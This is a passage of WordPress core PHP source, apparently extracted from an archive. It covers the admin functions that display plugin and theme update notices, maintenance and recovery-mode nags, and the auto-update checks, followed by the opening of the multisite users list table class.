
	$response = $current->response[ $file ];

	$plugins_allowedtags = array(
		'a'       => array(
			'href'  => array(),
			'title' => array(),
		),
		'abbr'    => array( 'title' => array() ),
		'acronym' => array( 'title' => array() ),
		'code'    => array(),
		'em'      => array(),
		'strong'  => array(),
	);

	$plugin_name = wp_kses( $plugin_data['Name'], $plugins_allowedtags );
	$plugin_slug = isset( $response->slug ) ? $response->slug : $response->id;

	if ( isset( $response->slug ) ) {
		$details_url = self_admin_url( 'plugin-install.php?tab=plugin-information&plugin=' . $plugin_slug . '&section=changelog' );
	} elseif ( isset( $response->url ) ) {
		$details_url = $response->url;
	} else {
		$details_url = $plugin_data['PluginURI'];
	}

	$details_url = add_query_arg(
		array(
			'TB_iframe' => 'true',
			'width'     => 600,
			'height'    => 800,
		),
		$details_url
	);

	/** @var WP_Plugins_List_Table $wp_list_table */
	$wp_list_table = _get_list_table(
		'WP_Plugins_List_Table',
		array(
			'screen' => get_current_screen(),
		)
	);

	if ( is_network_admin() || ! is_multisite() ) {
		if ( is_network_admin() ) {
			$active_class = is_plugin_active_for_network( $file ) ? ' active' : '';
		} else {
			$active_class = is_plugin_active( $file ) ? ' active' : '';
		}

		$requires_php   = isset( $response->requires_php ) ? $response->requires_php : null;
		$compatible_php = is_php_version_compatible( $requires_php );
		$notice_type    = $compatible_php ? 'notice-warning' : 'notice-error';

		printf(
			'<tr class="plugin-update-tr%s" id="%s" data-slug="%s" data-plugin="%s">' .
			'<td colspan="%s" class="plugin-update colspanchange">' .
			'<div class="update-message notice inline %s notice-alt"><p>',
			$active_class,
			esc_attr( $plugin_slug . '-update' ),
			esc_attr( $plugin_slug ),
			esc_attr( $file ),
			esc_attr( $wp_list_table->get_column_count() ),
			$notice_type
		);

		if ( ! current_user_can( 'update_plugins' ) ) {
			printf(
				/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ),
				$plugin_name,
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Plugin name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
				),
				esc_attr( $response->new_version )
			);
		} elseif ( empty( $response->package ) ) {
			printf(
				/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this plugin.</em>' ),
				$plugin_name,
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Plugin name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
				),
				esc_attr( $response->new_version )
			);
		} else {
			if ( $compatible_php ) {
				printf(
					/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. */
					__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ),
					$plugin_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Plugin name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
					),
					esc_attr( $response->new_version ),
					wp_nonce_url( self_admin_url( 'update.php?action=upgrade-plugin&plugin=' ) . $file, 'upgrade-plugin_' . $file ),
					sprintf(
						'class="update-link" aria-label="%s"',
						/* translators: %s: Plugin name. */
						esc_attr( sprintf( _x( 'Update %s now', 'plugin' ), $plugin_name ) )
					)
				);
			} else {
				printf(
					/* translators: 1: Plugin name, 2: Details URL, 3: Additional link attributes, 4: Version number 5: URL to Update PHP page. */
					__( 'There is a new version of %1$s available, but it does not work with your version of PHP. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s">learn more about updating PHP</a>.' ),
					$plugin_name,
					esc_url( $details_url ),
					sprintf(
						'class="thickbox open-plugin-details-modal" aria-label="%s"',
						/* translators: 1: Plugin name, 2: Version number. */
						esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $plugin_name, $response->new_version ) )
					),
					esc_attr( $response->new_version ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '<br><em>', '</em>' );
			}
		}

		/**
		 * Fires at the end of the update message container in each
		 * row of the plugins list table.
		 *
		 * The dynamic portion of the hook name, `$file`, refers to the path
		 * of the plugin's primary file relative to the plugins directory.
		 *
		 * @since 2.8.0
		 *
		 * @param array  $plugin_data An array of plugin metadata. See get_plugin_data()
		 *                            and the {@see 'plugin_row_meta'} filter for the list
		 *                            of possible values.
		 * @param object $response {
		 *     An object of metadata about the available plugin update.
		 *
		 *     @type string   $id           Plugin ID, e.g. `w.org/plugins/[plugin-name]`.
		 *     @type string   $slug         Plugin slug.
		 *     @type string   $plugin       Plugin basename.
		 *     @type string   $new_version  New plugin version.
		 *     @type string   $url          Plugin URL.
		 *     @type string   $package      Plugin update package URL.
		 *     @type string[] $icons        An array of plugin icon URLs.
		 *     @type string[] $banners      An array of plugin banner URLs.
		 *     @type string[] $banners_rtl  An array of plugin RTL banner URLs.
		 *     @type string   $requires     The version of WordPress which the plugin requires.
		 *     @type string   $tested       The version of WordPress the plugin is tested against.
		 *     @type string   $requires_php The version of PHP which the plugin requires.
		 * }
		 */
		do_action( "in_plugin_update_message-{$file}", $plugin_data, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

		echo '</p></div></td></tr>';
	}
}

/**
 * Retrieves themes with updates available.
 *
 * @since 2.9.0
 *
 * @return array
 */
function get_theme_updates() {
	$current = get_site_transient( 'update_themes' );

	if ( ! isset( $current->response ) ) {
		return array();
	}

	$update_themes = array();

	foreach ( $current->response as $stylesheet => $data ) {
		$update_themes[ $stylesheet ]         = wp_get_theme( $stylesheet );
		$update_themes[ $stylesheet ]->update = $data;
	}

	return $update_themes;
}

/**
 * Adds a callback to display update information for themes with updates available.
 *
 * @since 3.1.0
 */
function wp_theme_update_rows() {
	if ( ! current_user_can( 'update_themes' ) ) {
		return;
	}

	$themes = get_site_transient( 'update_themes' );

	if ( isset( $themes->response ) && is_array( $themes->response ) ) {
		$themes = array_keys( $themes->response );

		foreach ( $themes as $theme ) {
			add_action( "after_theme_row_{$theme}", 'wp_theme_update_row', 10, 2 );
		}
	}
}

/**
 * Displays update information for a theme.
 *
 * @since 3.1.0
 *
 * @param string   $theme_key Theme stylesheet.
 * @param WP_Theme $theme     Theme object.
 * @return void|false
 */
function wp_theme_update_row( $theme_key, $theme ) {
	$current = get_site_transient( 'update_themes' );

	if ( ! isset( $current->response[ $theme_key ] ) ) {
		return false;
	}

	$response = $current->response[ $theme_key ];

	$details_url = add_query_arg(
		array(
			'TB_iframe' => 'true',
			'width'     => 1024,
			'height'    => 800,
		),
		$current->response[ $theme_key ]['url']
	);

	/** @var WP_MS_Themes_List_Table $wp_list_table */
	$wp_list_table = _get_list_table( 'WP_MS_Themes_List_Table' );

	$active = $theme->is_allowed( 'network' ) ? ' active' : '';

	$requires_wp  = isset( $response['requires'] ) ? $response['requires'] : null;
	$requires_php = isset( $response['requires_php'] ) ? $response['requires_php'] : null;

	$compatible_wp  = is_wp_version_compatible( $requires_wp );
	$compatible_php = is_php_version_compatible( $requires_php );

	printf(
		'<tr class="plugin-update-tr%s" id="%s" data-slug="%s">' .
		'<td colspan="%s" class="plugin-update colspanchange">' .
		'<div class="update-message notice inline notice-warning notice-alt"><p>',
		$active,
		esc_attr( $theme->get_stylesheet() . '-update' ),
		esc_attr( $theme->get_stylesheet() ),
		$wp_list_table->get_column_count()
	);

	if ( $compatible_wp && $compatible_php ) {
		if ( ! current_user_can( 'update_themes' ) ) {
			printf(
				/* translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>.' ),
				$theme['Name'],
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Theme name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
				),
				$response['new_version']
			);
		} elseif ( empty( $response['package'] ) ) {
			printf(
				/* translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, 4: Version number. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a>. <em>Automatic update is unavailable for this theme.</em>' ),
				$theme['Name'],
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Theme name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
				),
				$response['new_version']
			);
		} else {
			printf(
				/* translators: 1: Theme name, 2: Details URL, 3: Additional link attributes, 4: Version number, 5: Update URL, 6: Additional link attributes. */
				__( 'There is a new version of %1$s available. <a href="%2$s" %3$s>View version %4$s details</a> or <a href="%5$s" %6$s>update now</a>.' ),
				$theme['Name'],
				esc_url( $details_url ),
				sprintf(
					'class="thickbox open-plugin-details-modal" aria-label="%s"',
					/* translators: 1: Theme name, 2: Version number. */
					esc_attr( sprintf( __( 'View %1$s version %2$s details' ), $theme['Name'], $response['new_version'] ) )
				),
				$response['new_version'],
				wp_nonce_url( self_admin_url( 'update.php?action=upgrade-theme&theme=' ) . $theme_key, 'upgrade-theme_' . $theme_key ),
				sprintf(
					'class="update-link" aria-label="%s"',
					/* translators: %s: Theme name. */
					esc_attr( sprintf( _x( 'Update %s now', 'theme' ), $theme['Name'] ) )
				)
			);
		}
	} else {
		if ( ! $compatible_wp && ! $compatible_php ) {
			printf(
				/* translators: %s: Theme name. */
				__( 'There is a new version of %s available, but it does not work with your versions of WordPress and PHP.' ),
				$theme['Name']
			);
			if ( current_user_can( 'update_core' ) && current_user_can( 'update_php' ) ) {
				printf(
					/* translators: 1: URL to WordPress Updates screen, 2: URL to Update PHP page. */
					' ' . __( '<a href="%1$s">Please update WordPress</a>, and then <a href="%2$s">learn more about updating PHP</a>.' ),
					self_admin_url( 'update-core.php' ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '</p><p><em>', '</em>' );
			} elseif ( current_user_can( 'update_core' ) ) {
				printf(
					/* translators: %s: URL to WordPress Updates screen. */
					' ' . __( '<a href="%s">Please update WordPress</a>.' ),
					self_admin_url( 'update-core.php' )
				);
			} elseif ( current_user_can( 'update_php' ) ) {
				printf(
					/* translators: %s: URL to Update PHP page. */
					' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '</p><p><em>', '</em>' );
			}
		} elseif ( ! $compatible_wp ) {
			printf(
				/* translators: %s: Theme name. */
				__( 'There is a new version of %s available, but it does not work with your version of WordPress.' ),
				$theme['Name']
			);
			if ( current_user_can( 'update_core' ) ) {
				printf(
					/* translators: %s: URL to WordPress Updates screen. */
					' ' . __( '<a href="%s">Please update WordPress</a>.' ),
					self_admin_url( 'update-core.php' )
				);
			}
		} elseif ( ! $compatible_php ) {
			printf(
				/* translators: %s: Theme name. */
				__( 'There is a new version of %s available, but it does not work with your version of PHP.' ),
				$theme['Name']
			);
			if ( current_user_can( 'update_php' ) ) {
				printf(
					/* translators: %s: URL to Update PHP page. */
					' ' . __( '<a href="%s">Learn more about updating PHP</a>.' ),
					esc_url( wp_get_update_php_url() )
				);
				wp_update_php_annotation( '</p><p><em>', '</em>' );
			}
		}
	}

	/**
	 * Fires at the end of the update message container in each
	 * row of the themes list table.
	 *
	 * The dynamic portion of the hook name, `$theme_key`, refers to
	 * the theme slug as found in the WordPress.org themes repository.
	 *
	 * @since 3.1.0
	 *
	 * @param WP_Theme $theme    The WP_Theme object.
	 * @param array    $response {
	 *     An array of metadata about the available theme update.
	 *
	 *     @type string $new_version New theme version.
	 *     @type string $url         Theme URL.
	 *     @type string $package     Theme update package URL.
	 * }
	 */
	do_action( "in_theme_update_message-{$theme_key}", $theme, $response ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	echo '</p></div></td></tr>';
}

/**
 * Displays maintenance nag HTML message.
 *
 * @since 2.7.0
 *
 * @global int $upgrading
 *
 * @return void|false
 */
function maintenance_nag() {
	// Include an unmodified $wp_version.
	require ABSPATH . WPINC . '/version.php';
	global $upgrading;

	$nag = isset( $upgrading );

	if ( ! $nag ) {
		$failed = get_site_option( 'auto_core_update_failed' );
		/*
		 * If an update failed critically, we may have copied over version.php but not other files.
		 * In that case, if the installation claims we're running the version we attempted, nag.
		 * This is serious enough to err on the side of nagging.
		 *
		 * If we simply failed to update before we tried to copy any files, then assume things are
		 * OK if they are now running the latest.
		 *
		 * This flag is cleared whenever a successful update occurs using Core_Upgrader.
		 */
		$comparison = ! empty( $failed['critical'] ) ? '>=' : '>';
		if ( isset( $failed['attempted'] ) && version_compare( $failed['attempted'], $wp_version, $comparison ) ) {
			$nag = true;
		}
	}

	if ( ! $nag ) {
		return false;
	}

	if ( current_user_can( 'update_core' ) ) {
		$msg = sprintf(
			/* translators: %s: URL to WordPress Updates screen. */
			__( 'An automated WordPress update has failed to complete - <a href="%s">please attempt the update again now</a>.' ),
			'update-core.php'
		);
	} else {
		$msg = __( 'An automated WordPress update has failed to complete! Please notify the site administrator.' );
	}

	wp_admin_notice(
		$msg,
		array(
			'type'               => 'warning',
			'additional_classes' => array( 'update-nag', 'inline' ),
			'paragraph_wrap'     => false,
		)
	);
}

/**
 * Prints the JavaScript templates for update admin notices.
 *
 * @since 4.6.0
 *
 * Template takes one argument with four values:
 *
 *     param {object} data {
 *         Arguments for admin notice.
 *
 *         @type string id        ID of the notice.
 *         @type string className Class names for the notice.
 *         @type string message   The notice's message.
 *         @type string type      The type of update the notice is for. Either 'plugin' or 'theme'.
 *     }
 */
function wp_print_admin_notice_templates() {
	?>
	<script id="tmpl-wp-updates-admin-notice" type="text/html">
		<div <# if ( data.id ) { #>id="{{ data.id }}"<# } #> class="notice {{ data.className }}"><p>{{{ data.message }}}</p></div>
	</script>
	<script id="tmpl-wp-bulk-updates-admin-notice" type="text/html">
		<div id="{{ data.id }}" class="{{ data.className }} notice <# if ( data.errors ) { #>notice-error<# } else { #>notice-success<# } #>">
			<p>
				<# if ( data.successes ) { #>
					<# if ( 1 === data.successes ) { #>
						<# if ( 'plugin' === data.type ) { #>
							<?php
							/* translators: %s: Number of plugins. */
							printf( __( '%s plugin successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } else { #>
							<?php
							/* translators: %s: Number of themes. */
							printf( __( '%s theme successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } #>
					<# } else { #>
						<# if ( 'plugin' === data.type ) { #>
							<?php
							/* translators: %s: Number of plugins. */
							printf( __( '%s plugins successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } else { #>
							<?php
							/* translators: %s: Number of themes. */
							printf( __( '%s themes successfully updated.' ), '{{ data.successes }}' );
							?>
						<# } #>
					<# } #>
				<# } #>
				<# if ( data.errors ) { #>
					<button class="button-link bulk-action-errors-collapsed" aria-expanded="false">
						<# if ( 1 === data.errors ) { #>
							<?php
							/* translators: %s: Number of failed updates. */
							printf( __( '%s update failed.' ), '{{ data.errors }}' );
							?>
						<# } else { #>
							<?php
							/* translators: %s: Number of failed updates. */
							printf( __( '%s updates failed.' ), '{{ data.errors }}' );
							?>
						<# } #>
						<span class="screen-reader-text">
							<?php
							/* translators: Hidden accessibility text. */
							_e( 'Show more details' );
							?>
						</span>
						<span class="toggle-indicator" aria-hidden="true"></span>
					</button>
				<# } #>
			</p>
			<# if ( data.errors ) { #>
				<ul class="bulk-action-errors hidden">
					<# _.each( data.errorMessages, function( errorMessage ) { #>
						<li>{{ errorMessage }}</li>
					<# } ); #>
				</ul>
			<# } #>
		</div>
	</script>
	<?php
}

/**
 * Prints the JavaScript templates for update and deletion rows in list tables.
 *
 * @since 4.6.0
 *
 * The update template takes one argument with four values:
 *
 *     param {object} data {
 *         Arguments for the update row
 *
 *         @type string slug    Plugin slug.
 *         @type string plugin  Plugin base name.
 *         @type string colspan The number of table columns this row spans.
 *         @type string content The row content.
 *     }
 *
 * The delete template takes one argument with four values:
 *
 *     param {object} data {
 *         Arguments for the update row
 *
 *         @type string slug    Plugin slug.
 *         @type string plugin  Plugin base name.
 *         @type string name    Plugin name.
 *         @type string colspan The number of table columns this row spans.
 *     }
 */
function wp_print_update_row_templates() {
	?>
	<script id="tmpl-item-update-row" type="text/template">
		<tr class="plugin-update-tr update" id="{{ data.slug }}-update" data-slug="{{ data.slug }}" <# if ( data.plugin ) { #>data-plugin="{{ data.plugin }}"<# } #>>
			<td colspan="{{ data.colspan }}" class="plugin-update colspanchange">
				{{{ data.content }}}
			</td>
		</tr>
	</script>
	<script id="tmpl-item-deleted-row" type="text/template">
		<tr class="plugin-deleted-tr inactive deleted" id="{{ data.slug }}-deleted" data-slug="{{ data.slug }}" <# if ( data.plugin ) { #>data-plugin="{{ data.plugin }}"<# } #>>
			<td colspan="{{ data.colspan }}" class="plugin-update colspanchange">
				<# if ( data.plugin ) { #>
					<?php
					printf(
						/* translators: %s: Plugin name. */
						_x( '%s was successfully deleted.', 'plugin' ),
						'<strong>{{{ data.name }}}</strong>'
					);
					?>
				<# } else { #>
					<?php
					printf(
						/* translators: %s: Theme name. */
						_x( '%s was successfully deleted.', 'theme' ),
						'<strong>{{{ data.name }}}</strong>'
					);
					?>
				<# } #>
			</td>
		</tr>
	</script>
	<?php
}

/**
 * Displays a notice when the user is in recovery mode.
 *
 * @since 5.2.0
 */
function wp_recovery_mode_nag() {
	if ( ! wp_is_recovery_mode() ) {
		return;
	}

	$url = wp_login_url();
	$url = add_query_arg( 'action', WP_Recovery_Mode::EXIT_ACTION, $url );
	$url = wp_nonce_url( $url, WP_Recovery_Mode::EXIT_ACTION );

	$message = sprintf(
		/* translators: %s: Recovery Mode exit link. */
		__( 'You are in recovery mode. This means there may be an error with a theme or plugin. To exit recovery mode, log out or use the Exit button. <a href="%s">Exit Recovery Mode</a>' ),
		esc_url( $url )
	);
	wp_admin_notice( $message, array( 'type' => 'info' ) );
}

/**
 * Checks whether auto-updates are enabled.
 *
 * @since 5.5.0
 *
 * @param string $type The type of update being checked: 'theme' or 'plugin'.
 * @return bool True if auto-updates are enabled for `$type`, false otherwise.
 */
function wp_is_auto_update_enabled_for_type( $type ) {
	if ( ! class_exists( 'WP_Automatic_Updater' ) ) {
		require_once ABSPATH . 'wp-admin/includes/class-wp-automatic-updater.php';
	}

	$updater = new WP_Automatic_Updater();
	$enabled = ! $updater->is_disabled();

	switch ( $type ) {
		case 'plugin':
			/**
			 * Filters whether plugins auto-update is enabled.
			 *
			 * @since 5.5.0
			 *
			 * @param bool $enabled True if plugins auto-update is enabled, false otherwise.
			 */
			return apply_filters( 'plugins_auto_update_enabled', $enabled );
		case 'theme':
			/**
			 * Filters whether themes auto-update is enabled.
			 *
			 * @since 5.5.0
			 *
			 * @param bool $enabled True if themes auto-update is enabled, false otherwise.
			 */
			return apply_filters( 'themes_auto_update_enabled', $enabled );
	}

	return false;
}

/**
 * Checks whether auto-updates are forced for an item.
 *
 * @since 5.6.0
 *
 * @param string    $type   The type of update being checked: 'theme' or 'plugin'.
 * @param bool|null $update Whether to update. The value of null is internally used
 *                          to detect whether nothing has hooked into this filter.
 * @param object    $item   The update offer.
 * @return bool True if auto-updates are forced for `$item`, false otherwise.
 */
function wp_is_auto_update_forced_for_item( $type, $update, $item ) {
	/** This filter is documented in wp-admin/includes/class-wp-automatic-updater.php */
	return apply_filters( "auto_update_{$type}", $update, $item );
}

/**
 * Determines the appropriate auto-update message to be displayed.
 *
 * @since 5.5.0
 *
 * @return string The update message to be shown.
 */
function wp_get_auto_update_message() {
	$next_update_time = wp_next_scheduled( 'wp_version_check' );

	// Check if the event exists.
	if ( false === $next_update_time ) {
		$message = __( 'Automatic update not scheduled. There may be a problem with WP-Cron.' );
	} else {
		$time_to_next_update = human_time_diff( (int) $next_update_time );

		// See if cron is overdue.
		$overdue = ( time() - $next_update_time ) > 0;

		if ( $overdue ) {
			$message = sprintf(
				/* translators: %s: Duration that WP-Cron has been overdue. */
				__( 'Automatic update overdue by %s. There may be a problem with WP-Cron.' ),
				$time_to_next_update
			);
		} else {
			$message = sprintf(
				/* translators: %s: Time until the next update. */
				__( 'Automatic update scheduled in %s.' ),
				$time_to_next_update
			);
		}
	}

	return $message;
}
class-wp-ms-users-list-table.php000064400000035514150275632050012635 0ustar00<?php
/**
 * List Table API: WP_MS_Users_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 3.1.0
 */

/**
 * Core class used to implement displaying users in a list table for the network admin.
 *
 * @since 3.1.0
 *
 * @see WP_List_Table
 */
class WP_MS_Users_List_Table extends WP_List_Table {
	/**
	 * @return bool
	 */
	public function ajax_user_can() {
		return current_user_can( 'manage_network_users' );
	}

	/**
	 * @global string $mode       List table view mode.
	 * @global string $usersearch
	 * @global string $role
	 */
	public function prepare_items() {
		global $mode, $usersearch, $role;

		if ( ! empty( $_REQUEST['mode'] ) ) {
			$mode = 'excerpt' === $_REQUEST['mode'] ? 'excerpt' : 'list';
			set_user_setting( 'network_users_list_mode', $mode );
		} else {
			$mode = get_user_setting( 'network_users_list_mode', 'list' );
		}

		$usersearch = isset( $_REQUEST['s'] ) ? wp_unslash( trim( $_REQUEST['s'] ) ) : '';

		$users_per_page = $this->get_items_per_page( 'users_network_per_page' );

		$role = isset( $_REQUEST['role'] ) ? $_REQUEST['role'] : '';

		$paged = $this->get_pagenum();

		$args = array(
			'number'  => $users_per_page,
			'offset'  => ( $paged - 1 ) * $users_per_page,
			'search'  => $usersearch,
			'blog_id' => 0,
			'fields'  => 'all_with_meta',
		);

		if ( wp_is_large_network( 'users' ) ) {
			$args['search'] = ltrim( $args['search'], '*' );
		} elseif ( '' !== $args['search'] ) {
			$args['search'] = trim( $args['search'], '*' );
			$args['search'] = '*' . $args['search'] . '*';
		}

		if ( 'super' === $role ) {
			$args['login__in'] = get_super_admins();
		}

		/*
		 * If the network is large and a search is not being performed,
		 * show only the latest users with no paging in order to avoid
		 * expensive count queries.
		 */
		if ( ! $usersearch && wp_is_large_network( 'users' ) ) {
			if ( ! isset( $_REQUEST['orderby'] ) ) {
				$_GET['orderby']     = 'id';
				$_REQUEST['orderby'] = 'id';
			}
			if ( ! isset( $_REQUEST['order'] ) ) {
				$_GET['order']     = 'DESC';
				$_REQUEST['order'] = 'DESC';
			}
			$args['count_total'] = false;
		}

		if ( isset( $_REQUEST['orderby'] ) ) {
			$args['orderby'] = $_REQUEST['orderby'];
		}

		if ( isset( $_REQUEST['order'] ) ) {
			$args['order'] = $_REQUEST['order'];
		}

		/** This filter is documented in wp-admin/includes/class-wp-users-list-table.php */
		$args = apply_filters( 'users_list_table_query_args', $args );

		// Query the user IDs for this page.
		$wp_user_search = new WP_User_Query( $args );

		$this->items = $wp_user_search->get_results();

		$this->set_pagination_args(
			array(
				'total_items' => $wp_user_search->get_total(),
				'per_page'    => $users_per_page,
			)
		);
	}

	/**
	 * @return array
	 */
	protected function get_bulk_actions() {
		$actions = array();
		if ( current_user_can( 'delete_users' ) ) {
			$actions['delete'] = __( 'Delete' );
		}
		$actions['spam']    = _x( 'Mark as spam', 'user' );
		$actions['notspam'] = _x( 'Not spam', 'user' );

		return $actions;
	}

	/**
	 */
	public function no_items() {
		_e( 'No users found.' );
	}

	/**
	 * @global string $role
	 * @return array
	 */
	protected function get_views() {
		global $role;

		$total_users  = get_user_count();
		$super_admins = get_super_admins();
		$total_admins = count( $super_admins );

		$role_links        = array();
		$role_links['all'] = array(
			'url'     => network_admin_url( 'users.php' ),
			'label'   => sprintf(
				/* translators: Number of users. */
				_nx(
					'All <span class="count">(%s)</span>',
					'All <span class="count">(%s)</span>',
					$total_users,
					'users'
				),
				number_format_i18n( $total_users )
			),
			'current' => 'super' !== $role,
		);

		$role_links['super'] = array(
			'url'     => network_admin_url( 'users.php?role=super' ),
			'label'   => sprintf(
				/* translators: Number of users. */
				_n(
					'Super Admin <span class="count">(%s)</span>',
					'Super Admins <span class="count">(%s)</span>',
					$total_admins
				),
				number_format_i18n( $total_admins )
			),
			'current' => 'super' === $role,
		);

		return $this->get_views_links( $role_links );
	}

	/**
	 * @global string $mode List table view mode.
	 *
	 * @param string $which
	 */
	protected function pagination( $which ) {
		global $mode;

		parent::pagination( $which );

		if ( 'top' === $which ) {
			$this->view_switcher( $mode );
		}
	}

	/**
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$users_columns = array(
			'cb'         => '<input type="checkbox" />',
			'username'   => __( 'Username' ),
			'name'       => __( 'Name' ),
			'email'      => __( 'Email' ),
			'registered' => _x( 'Registered', 'user' ),
			'blogs'      => __( 'Sites' ),
		);
		/**
		 * Filters the columns displayed in the Network Admin Users list table.
		 *
		 * @since MU (3.0.0)
		 *
		 * @param string[] $users_columns An array of user columns. Default 'cb', 'username',
		 *                                'name', 'email', 'registered', 'blogs'.
		 */
		return apply_filters( 'wpmu_users_columns', $users_columns );
	}

	/**
	 * @return array
	 */
	protected function get_sortable_columns() {
		return array(
			'username'   => array( 'login', false, __( 'Username' ), __( 'Table ordered by Username.' ), 'asc' ),
			'name'       => array( 'name', false, __( 'Name' ), __( 'Table ordered by Name.' ) ),
			'email'      => array( 'email', false, __( 'E-mail' ), __( 'Table ordered by E-mail.' ) ),
			'registered' => array( 'id', false, _x( 'Registered', 'user' ), __( 'Table ordered by User Registered Date.' ) ),
		);
	}

	/**
	 * Handles the checkbox column output.
	 *
	 * @since 4.3.0
	 * @since 5.9.0 Renamed `$user` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_User $item The current WP_User object.
	 */
	public function column_cb( $item ) {
		// Restores the more descriptive, specific name for use within this method.
		$user = $item;

		if ( is_super_admin( $user->ID ) ) {
			return;
		}
		?>
		<input type="checkbox" id="blog_<?php echo $user->ID; ?>" name="allusers[]" value="<?php echo esc_attr( $user->ID ); ?>" />
		<label for="blog_<?php echo $user->ID; ?>">
			<span class="screen-reader-text">
			<?php
			/* translators: Hidden accessibility text. %s: User login. */
			printf( __( 'Select %s' ), $user->user_login );
			?>
			</span>
		</label>
		<?php
	}

	/**
	 * Handles the ID column output.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_id( $user ) {
		echo $user->ID;
	}

	/**
	 * Handles the username column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_username( $user ) {
		$super_admins = get_super_admins();
		$avatar       = get_avatar( $user->user_email, 32 );

		echo $avatar;

		if ( current_user_can( 'edit_user', $user->ID ) ) {
			$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user->ID ) ) );
			$edit      = "<a href=\"{$edit_link}\">{$user->user_login}</a>";
		} else {
			$edit = $user->user_login;
		}

		?>
		<strong>
			<?php
			echo $edit;

			if ( in_array( $user->user_login, $super_admins, true ) ) {
				echo ' &mdash; ' . __( 'Super Admin' );
			}
			?>
		</strong>
		<?php
	}

	/**
	 * Handles the name column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_name( $user ) {
		if ( $user->first_name && $user->last_name ) {
			printf(
				/* translators: 1: User's first name, 2: Last name. */
				_x( '%1$s %2$s', 'Display name based on first name and last name' ),
				$user->first_name,
				$user->last_name
			);
		} elseif ( $user->first_name ) {
			echo $user->first_name;
		} elseif ( $user->last_name ) {
			echo $user->last_name;
		} else {
			echo '<span aria-hidden="true">&#8212;</span><span class="screen-reader-text">' .
				/* translators: Hidden accessibility text. */
				_x( 'Unknown', 'name' ) .
			'</span>';
		}
	}

	/**
	 * Handles the email column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_email( $user ) {
		echo "<a href='" . esc_url( "mailto:$user->user_email" ) . "'>$user->user_email</a>";
	}

	/**
	 * Handles the registered date column output.
	 *
	 * @since 4.3.0
	 *
	 * @global string $mode List table view mode.
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_registered( $user ) {
		global $mode;
		if ( 'list' === $mode ) {
			$date = __( 'Y/m/d' );
		} else {
			$date = __( 'Y/m/d g:i:s a' );
		}
		echo mysql2date( $date, $user->user_registered );
	}

	/**
	 * @since 4.3.0
	 *
	 * @param WP_User $user
	 * @param string  $classes
	 * @param string  $data
	 * @param string  $primary
	 */
	protected function _column_blogs( $user, $classes, $data, $primary ) {
		echo '<td class="', $classes, ' has-row-actions" ', $data, '>';
		echo $this->column_blogs( $user );
		echo $this->handle_row_actions( $user, 'blogs', $primary );
		echo '</td>';
	}

	/**
	 * Handles the sites column output.
	 *
	 * @since 4.3.0
	 *
	 * @param WP_User $user The current WP_User object.
	 */
	public function column_blogs( $user ) {
		$blogs = get_blogs_of_user( $user->ID, true );
		if ( ! is_array( $blogs ) ) {
			return;
		}

		foreach ( $blogs as $site ) {
			if ( ! can_edit_network( $site->site_id ) ) {
				continue;
			}

			$path         = ( '/' === $site->path ) ? '' : $site->path;
			$site_classes = array( 'site-' . $site->site_id );
			/**
			 * Filters the span class for a site listing on the mulisite user list table.
			 *
			 * @since 5.2.0
			 *
			 * @param string[] $site_classes Array of class names used within the span tag. Default "site-#" with the site's network ID.
			 * @param int      $site_id      Site ID.
